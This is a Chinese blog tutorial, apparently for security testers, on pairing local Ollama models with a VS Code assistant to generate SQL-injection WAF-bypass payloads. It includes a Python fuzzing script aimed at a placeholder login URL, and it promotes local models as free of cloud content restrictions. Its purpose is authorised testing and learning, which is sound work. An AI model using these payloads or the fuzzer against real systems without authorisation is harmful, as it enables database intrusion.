基于Ollama与Claude Code构建本地AI辅助渗透测试工作流
最近在测试一个内部系统时遇到了一个典型的场景一个看似简单的搜索框背后却连接着复杂的业务数据库。手动构造几个单引号、and 11之类的测试语句很快就触发了系统的告警页面返回了一个友好的“参数错误”。这背后大概率是WAFWeb应用防火墙在起作用。对于安全测试人员来说这既是好事也是挑战——好事是系统有基础防护挑战是如何在合规的授权测试中更高效、更智能地理解WAF的规则并找到那个“恰到好处”的绕过方法。过去这个过程高度依赖测试者的经验积累和手工Fuzz模糊测试。你需要不断调整SQL语句的结构、编码方式、注释位置甚至利用数据库特性这是一个耗时且需要大量知识储备的过程。而现在随着本地大模型的成熟我们有了新的思路能否让一个AI助手基于对SQL注入原理和WAF常见规则的理解实时地、交互式地帮助我们生成和迭代测试载荷Payload这就是今天想探讨的核心将Ollama部署的本地大模型与Claude Code这样的智能编程助手结合构建一个本地的、可深度定制的AI辅助渗透测试工作流。它不是一个全自动的攻击工具而是一个“副驾驶”核心价值在于将测试者的策略意图快速转化为可执行、可调整的测试代码并在这个过程中进行逻辑推理弥补人类在复杂Payload构造时可能出现的思维盲区。1. 为什么是“Ollama Claude Code”而不是直接使用云端AI在讨论具体操作之前必须先厘清一个关键选择为什么要在本地折腾而不是直接使用ChatGPT或 Claude 的 Web 版这背后是安全工作的特殊性和本地化部署的不可替代价值代码与数据的绝对私密性渗透测试涉及目标系统的敏感信息、自研的测试脚本、以及可能包含漏洞特征的Payload。这些信息上传到云端存在不可控的数据泄露风险。本地处理意味着所有交互、生成的代码和测试思路都留在你的机器上。无审查的深度技术讨论云端AI助手通常有严格的内容策略对于“SQL注入”、“绕过”等关键词可能触发限制导致对话被中断或答案被泛化。本地模型没有这类限制可以就非常具体、甚至比较“尖锐”的技术细节进行无拘束的探讨。模型能力的定制与聚焦通过Ollama我们可以选择专门在代码、安全领域表现优秀的模型如CodeLlama、DeepSeek-Coder或Qwen2.5-Coder。这些模型对编程语言、系统命令和漏洞模式的“理解”可能比通用模型更深入生成的Payload也更专业。离线可用性与成本可控一次部署长期使用无需担心网络问题或API调用费用。这对于需要反复尝试、长时间工作的测试场景尤为重要。而Claude Code这里指VS Code中能调用本地Ollama模型的AI编程插件而非特指某个产品扮演的是“翻译官”和“执行者”的角色。它让我们可以用最自然的方式对话与本地模型沟通并直接将模型输出的代码块、命令建议应用到我们的测试脚本或终端中形成闭环。所以这个组合的本质是一个本地化的、专属于你的、精通代码和安全的安全专家大脑Ollama模型 一个能听懂你指令并帮你操作电脑的熟练助手Claude Code插件。2. 环境搭建从零开始部署你的本地AI安全助手理论很美好但第一步是让这个系统跑起来。整个过程可以分解为三个核心步骤安装Ollama、配置本地模型、在VS Code中集成Claude Code插件。2.1 第一步安装Ollama并配置国内镜像Ollama的安装本身非常简单官网提供了各系统的安装包。但最大的障碍在于下载模型默认源在国内速度极慢。操作流程安装Ollama访问Ollama官网根据你的操作系统Windows/macOS/Linux下载安装包并安装。配置国内镜像关键步骤打开终端或PowerShell执行以下命令修改Ollama的拉取源。这里以配置阿里云镜像为例这能极大提升模型下载速度。# Linux/macOS export OLLAMA_HOSThttps://registry.ollama.ai # 实际上更有效的是在Ollama安装后修改其配置文件或使用镜像站提供的专用命令。 # 一个更通用的方法是直接使用国内镜像站提供的安装脚本或修改环境变量。 # 例如有些社区镜像站建议这样设置 # export OLLAMA_MODELS/your/path/to/models # 但对于网络问题最直接的是在拉取模型时使用镜像URL。更实际的做法由于Ollama更新频繁最稳妥的方式是搜索当前可用的国内镜像源。通常你可以在GitHub或技术社区找到类似下面的拉取命令# 示例通过镜像站拉取模型具体镜像URL需替换为当前有效的 ollama pull deepseek-coder:6.7b --registry-mirror https://mirror.example.com如果遇到“下载太慢”或失败不要死磕。尝试切换不同的社区镜像源或者寻找该模型的Hugging Face权重文件通过其他方式下载后再导入Ollama。验证安装安装完成后在终端输入ollama --version能显示版本号即表示安装成功。2.2 第二步选择并拉取适合安全测试的模型不是所有模型都擅长理解安全漏洞和生成代码。我们的目标是找一个“懂编程、懂系统、逻辑性强”的模型。模型选型建议deepseek-coder:6.7b一个不错的起点。6.7B参数在消费级显卡如RTX 3060 12GB上可以流畅运行并且在代码生成、推理任务上表现均衡。对于SQL语法、Web请求构造有较好的理解。qwen2.5-coder:7b通义千问的代码模型对中文指令的理解可能更友好同样适合代码和安全相关任务。llama3.2:3b或llama3.2:1b如果硬件资源极其有限如只有CPU或内存很小可以尝试这些更小的模型但能力会打折扣可能更适合简单的脚本编写而非复杂逻辑推理。codegemma:7b或codellama:7b也是专注于代码的模型可以作为备选。拉取模型命令# 以 deepseek-coder 为例 ollama pull deepseek-coder:6.7b这个过程会下载数GB的模型文件请确保网络通畅和磁盘空间充足。2.3 第三步在VS Code中配置Claude Code插件连接本地OllamaClaude Code插件或其他类似插件如Continue、Tabby的核心作用是桥接VS Code和Ollama服务。配置步骤安装插件在VS Code的扩展商店中搜索“Claude Code”或“AI”关键词找到能连接本地Ollama的插件并安装。Continue插件是目前一个非常流行且开源的选择。配置模型端点安装后插件需要知道你的Ollama服务在哪里。Ollama默认会在http://localhost:11434提供一个API服务。修改插件配置在VS Code的设置中找到该插件的配置项。通常需要设置一个“模型提供商”或“后端URL”。将其指向http://localhost:11434。选择模型在配置中指定你想要使用的模型名称例如deepseek-coder:6.7b。测试连接在VS Code中新建一个文件尝试让AI助手写一段简单的Python代码比如“写一个用requests库发送GET请求的函数”。如果它能正确响应并生成代码说明连接成功。至此你的本地AI安全测试环境就搭建完成了。接下来我们进入实战环节看看如何与这个“助手”协作完成一次针对SQL注入与WAF绕过的探索性测试。3. 实战推演与AI助手协作进行SQL注入Fuzz测试假设我们面对一个带有WAF的登录框用户名为参数user密码为参数pass。手动测试发现useradmin会被WAF拦截。我们的目标不是盲目攻击而是在授权范围内系统性地理解WAF的过滤规则并尝试构造有效的测试Payload。AI助手在这里可以帮我们做以下几件事3.1 阶段一知识库查询与基础Payload生成我们可以直接向VS Code中的AI助手提问让它扮演一个安全专家的角色。人类指令在VS Code聊天框中输入“我现在正在测试一个Web登录接口参数user和pass可能存在SQL注入。当我输入useradmin时请求被拦截了疑似有WAF。请帮我列出5种最常见的用于检测和绕过WAF的SQL注入Payload变体并给出每种变体的原理简要说明。”AI助手可能生成的回复示例1. **大小写混淆**aNd 11 或 AnD SLEEP(5)。原理一些简单的WAF使用正则表达式匹配小写的关键词如and、or、union。混合大小写可能绕过。 2. **内联注释**/*!AND*/ 11 或 /*!50000UNION*/ SELECT ...。原理利用MySQL特有的、会被执行但可能被WAF忽略的注释语法。 3. **等价函数/操作符替换**用 代替 AND用 || 代替 OR用 LIKE 代替 。例如1 1。原理WAF可能只检测特定关键词而不检测逻辑操作符的其他形式。 4. **空白符变形**使用Tab (%09)、换行符 (%0a)、回车符 (%0d) 或它们的组合来分隔关键词。例如SELECT%0a*%0dFROM users。原理WAF的tokenizer可能对空白符的处理不严格。 5. **编码混淆**对部分字符进行URL编码、双重URL编码、十六进制编码。例如将单引号编码为 %27 或 %2527或将SELECT编码为SEL%45CTE的十六进制是45。原理WAF可能只在特定解码阶段进行检查多层编码可能绕过。此时AI的价值在于快速聚合知识。它节省了你手动搜索、回忆各种绕过技巧的时间给出了一个结构化的清单。但这只是开始生成的Payload是“通用”的不一定对当前目标有效。3.2 阶段二交互式Payload迭代与测试脚本编写接下来我们需要将想法转化为可执行的测试。这是Claude Code插件大显身手的地方。场景我们想测试“内联注释”和“空白符变形”这两种方式。手动在Burp Suite里改来改去很麻烦我们可以让AI助手帮我们快速生成一个Python测试脚本。人类指令“根据你刚才提到的‘内联注释’和‘空白符变形’思路帮我写一个Python脚本。它应该能读取一个包含基础Payload的字典文件然后自动生成上述两种变体并通过requests库向目标URLhttp://target.com/login发送POST请求参数是user和pass。需要记录每个Payload的响应状态码、响应时间用于检测时间盲注和响应内容长度。把结果输出到CSV文件里。”AI助手生成的Python脚本框架核心部分import requests import time import csv from urllib.parse import quote def generate_variants(base_payload): 生成Payload变体 variants [] # 1. 内联注释变体 (MySQL示例) variants.append(base_payload.replace(AND, /*!AND*/)) variants.append(base_payload.replace(OR, /*!OR*/)) variants.append(base_payload.replace(UNION, /*!50000UNION*/)) # 2. 空白符变形 for ws in [%09, %0a, %0d, %0b]: # Tab, LF, CR, VT # 在关键词后插入空白符 temp base_payload for kw in [SELECT, FROM, WHERE, AND, OR]: if kw in temp: temp temp.replace(kw, kw ws) variants.append(temp) return list(set(variants)) # 去重 def test_payload(url, params, payload, timeout5): 测试单个Payload start_time time.time() try: # 将Payload填入参数这里假设注入点在user参数 test_params params.copy() test_params[user] payload resp requests.post(url, datatest_params, timeouttimeout) elapsed time.time() - start_time return resp.status_code, len(resp.content), elapsed except requests.exceptions.Timeout: return TIMEOUT, 0, timeout except Exception as e: return fERROR: {e}, 0, 0 # 主逻辑 if __name__ __main__: target_url http://target.com/login base_params {user: admin, pass: password} # 基础参数 base_payloads [admin AND 11--, admin OR 11--, admin UNION SELECT null--] # 从文件读取更好 with open(test_results.csv, w, newline) as csvfile: writer csv.writer(csvfile) writer.writerow([Base Payload, Variant, Status, Length, Time]) for base in base_payloads: for var in generate_variants(base): status, length, elapsed test_payload(target_url, base_params, var) writer.writerow([base, var, status, length, elapsed]) print(fTested: {var[:50]}... - Status: {status}, Time: {elapsed:.2f}s) time.sleep(0.5) # 避免请求过快这个脚本可能不完美但提供了一个强大的起点。你可以立即在VS Code中运行它或者与AI助手继续对话进行改进“这个脚本没有处理Cookie和Session帮我加上。”“我想增加对响应内容中特定错误信息的检测。”“如何优化使得当响应时间明显变长时能重点标记出来”AI协作的精髓在于此你提供策略和需求AI生成实现代码的草稿你进行审查、修改和迭代。它极大地加速了从“想法”到“可运行测试工具”的过程。3.3 阶段三结果分析与逻辑推理假设我们运行脚本后发现一个Payloadadmin%27%0a/*!AND*/%0a11--返回了与正常请求不同的响应长度且没有被拦截。我们可以进一步询问AI助手进行推理“我的测试脚本发现当user参数为admin%27%0a/*!AND*/%0a11--时服务器返回了不同的响应状态码200且没有被WAF拦截。而admin AND 11--被拦截了。请分析一下这个结果可能揭示了WAF的哪些过滤规则我们接下来应该优先测试哪些更复杂的Payload来确认注入类型字符型/数字型和数据库类型”AI助手可能进行的推理分析规则分析WAF可能规则如下检测到连续的关键词AND、OR等。检测到简单的后跟空格和关键词的模式。但规则可能未覆盖URL编码后的单引号(%27)或者未将%0a换行视为有效的SQL分隔符或者忽略了/*!...*/这种内联注释。下一步测试建议确认注入类型尝试admin%27%20AND%20%271%27%271字符型闭合和1%20AND%2011数字型无需单引号。确认数据库尝试数据库特有的函数如version(MySQL/SQL Server),version()(MySQL/PostgreSQL),sqlite_version()。利用已发现的绕过点将更复杂的关键词如UNION SELECT也用%0a分隔并加上内联注释构造如...%0a/*!50000UNION*/%0a/*!SELECT*/%0a1,2,3...的Payload。这个过程AI助手扮演了一个“实时分析员”的角色帮你从原始测试数据中提炼出潜在规则并规划下一步的测试路径。它弥补了人类在大量数据面前可能出现的模式忽略提供了系统性的排查思路。4. 核心价值与能力边界这不是“一键破解”而是“智能增强”通过上面的实战推演我们可以清晰地看到“Ollama Claude Code”这个组合在渗透测试中的定位和价值。它真正提升的是什么知识检索与聚合速度无需离开工作环境VS Code快速获取结构化的漏洞原理、Payload清单、绕过技巧。代码生成与自动化效率将重复性的Fuzz测试逻辑、请求发送、结果记录等任务通过自然语言描述快速转化为可运行、可修改的脚本。这比手动编写或搜索现成工具更贴合当前场景。逻辑推理与策略建议基于测试结果提供可能的原因分析和下一步行动建议帮助测试者拓宽思路避免陷入思维定式。学习与训练平台你可以用本地模型来学习漏洞原理。通过问答让AI解释“时间盲注和布尔盲注的本质区别是什么”“如何在PostgreSQL中利用pg_sleep函数进行时间盲注”。它的能力边界在哪里非常重要它不是漏洞扫描器它不会主动爬取网站、发现参数、进行全自动攻击。它的启动依赖于测试者发现可疑点并发出指令。它无法保证Payload有效性模型生成的Payload基于训练数据中的通用模式不一定适用于特定目标。所有Payload必须在授权环境内谨慎测试并且最终有效性必须由测试者验证。它存在幻觉Hallucination模型可能会生成语法错误、逻辑不通甚至完全不存在的SQL函数或语法。生成的代码和命令必须经过严格审查后才能执行。它不替代基础知识和经验如果你不知道什么是SQL注入不了解HTTP协议看不懂服务器响应那么AI助手输出的信息对你而言只是一堆无意义的字符。它放大的是有经验测试者的能力而不是创造能力。因此最有效的工作流是测试者主导你负责目标侦察、参数发现、测试点选择、结果研判和最终报告。AI辅助执行你向AI描述测试思路“帮我生成10个用于测试XSS的Payload要混淆script标签”AI生成代码或清单。人类审查与迭代你审查AI的输出修正错误将其融入你的测试工具链如配合Burp Suite、Sqlmap的Tamper脚本等运行测试分析结果并基于结果提出下一个问题。这种模式将AI从试图替代人类的“黑盒自动化”转变为增强人类智能的“白盒协作工具”。对于安全测试人员而言真正的价值不在于找到一个“万能绕过Payload”而在于拥有一个能够随时响应、深度定制、且完全受控于本地的“智能副驾驶”让重复劳动自动化让复杂推理获得辅助从而将更多精力集中在更高维度的策略思考和漏洞挖掘上。

相关新闻

DeepSeek V4 Pro与Harness框架:智能体开发的工程化实践

DeepSeek V4 Pro与Harness框架:智能体开发的工程化实践

如果你是一名开发者,最近可能被两件事刷屏了:一是 DeepSeek V4 Pro 正式版发布,二是 DeepSeek Harness 智能体框架上线国家超算互联网。但你可能也感到困惑——这到底是“又一个新模型发布”的常规新闻,还是真正能改变你工作流的实…

2026/8/21 4:38:43 阅读更多 →
Python桌面宠物开发实战:从零打造可交互的蓝色大肥鱼桌宠

Python桌面宠物开发实战:从零打造可交互的蓝色大肥鱼桌宠

最近在GitHub上发现一个特别有意思的开源项目——一个用Python开发的桌面宠物(Desktop Pet),主角是一只蓝色的“大肥鱼”。它不仅能卖萌,还能在你工作时“监督”你,提醒你专注。这种将趣味性与生产力工具结合的想法让我…

2026/8/21 4:38:43 阅读更多 →
Axure函数自查表:构建高保真原型,提升交互设计效率

Axure函数自查表:构建高保真原型,提升交互设计效率

在原型设计工作中,你是否经常遇到这样的困扰:想要实现一个动态效果,却记不清Axure里具体该用哪个函数?或者,面对复杂的交互逻辑,不确定函数组合能否实现预期效果,只能反复试错?本文将…

2026/8/21 4:38:43 阅读更多 →

最新新闻

破解四大运营难题,供水管理平台如何让智慧从口号落到制度

破解四大运营难题,供水管理平台如何让智慧从口号落到制度

随着城市供水系统日益复杂,安全运行与精细管理的需求愈发迫切。智慧供水管理平台的出现,正是为了让管理者不只“看到”管网,更“预知”风险。从“智慧”的哲学内涵到工程实践,从实时监测到数据驱动决策,平台正推动供水…

2026/8/21 5:18:52 阅读更多 →
Studio Library 完整指南:Maya 动画师的姿势与动画库管理工具快速上手与进阶

Studio Library 完整指南:Maya 动画师的姿势与动画库管理工具快速上手与进阶

Studio Library 完整指南:Maya 动画师的姿势与动画库管理工具快速上手与进阶 【免费下载链接】studiolibrary Studio Library 项目地址: https://gitcode.com/gh_mirrors/st/studiolibrary 凌晨两点,动画师小陈盯着 Maya 视口里的角色&#xff0c…

2026/8/21 5:18:52 阅读更多 →
大模型面试与学习:Transformer原理与分布式训练实战

大模型面试与学习:Transformer原理与分布式训练实战

1. 大模型面试与学习的核心价值2025年的大模型技术已经渗透到各行各业,掌握LLM相关知识不仅是算法工程师的必备技能,也成为产品经理、数据分析师等岗位的加分项。这份资源整合了最新面试真题和系统学习路径,特别适合:准备大厂AI岗…

2026/8/21 5:18:52 阅读更多 →
2026春招AI大模型岗位趋势与核心技术栈解析

2026春招AI大模型岗位趋势与核心技术栈解析

1. 2026春招AI大模型岗位全景扫描刚结束的2025年校招季已经让所有人见识到AI大模型领域的疯狂——某大厂给应届博士生开出了92万年薪的offer,而今年春招的战火显然烧得更旺。从猎头朋友拿到的内部数据看,头部企业的LLM算法工程师岗位薪资中位数已突破130…

2026/8/21 5:18:52 阅读更多 →
大专Java开发者转型指南:技术路线与求职策略

大专Java开发者转型指南:技术路线与求职策略

1. 大专Java开发者面临的就业困境分析 作为从业十年的技术老兵,我见过太多大专学历的Java开发者陷入求职困境。2023年Stack Overflow开发者调查显示,Java岗位对学历要求显著高于Python等语言,这背后有三重现实因素: 市场供需失衡…

2026/8/21 5:18:52 阅读更多 →
网盘下载工具怎么选?八大网盘直链获取完整教程,实测告别龟速下载

网盘下载工具怎么选?八大网盘直链获取完整教程,实测告别龟速下载

网盘下载工具怎么选?八大网盘直链获取完整教程,实测告别龟速下载 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 …

2026/8/21 5:17:52 阅读更多 →

日新闻

机场边检旅客定位系统国产化白皮书:算法、硬件、底座平台全程自主

机场边检旅客定位系统国产化白皮书:算法、硬件、底座平台全程自主

前言随着国家数字基础设施信创替代、关键技术自主可控战略持续深化,口岸智慧安防、边检智能管控领域正全面进入国产化、自主化、安全可控升级周期。当前国内机场边检旅客识别与定位体系长期依赖国外商用视觉算法、进口成像硬件、闭源通用计算平台,存在核…

2026/8/21 0:00:42 阅读更多 →
别再把“数字孪生”当空间智能了!镜像视界揭开四维时空的真正面纱

别再把“数字孪生”当空间智能了!镜像视界揭开四维时空的真正面纱

别再把“数字孪生”当空间智能了!镜像视界揭开四维时空的真正面纱当下数字化建设浪潮中,很多项目将三维可视化、视频贴图叠加的数字孪生等同于空间智能。传统数字孪生更多停留在三维场景复刻,擅长把物理世界“画出来、展示出来”,…

2026/8/21 0:00:42 阅读更多 →
105、车载温度范围-40°C到85°C的影像质量一致性——ISP参数温漂补偿与产线标定策略

105、车载温度范围-40°C到85°C的影像质量一致性——ISP参数温漂补偿与产线标定策略

105、车载温度范围-40C到85C的影像质量一致性——ISP参数温漂补偿与产线标定策略 去年冬天在北方某车厂做A样评审,凌晨四点的黑河试验场,零下三十三度。客户拿了一台冷启动的车,中控屏上倒车影像全是雪花噪点,暗部细节直接糊成一片。我第一反应是sensor温度没上来,暗电流…

2026/8/21 0:00:42 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/21 3:21:33 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/21 0:02:09 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/19 11:55:16 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/20 6:11:08 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/20 21:46:49 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/21 0:14:22 阅读更多 →